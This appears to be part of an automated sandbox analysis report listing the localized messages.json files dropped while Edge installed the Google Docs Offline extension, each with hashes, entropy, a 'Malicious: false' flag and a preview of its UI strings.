Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1558837427\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
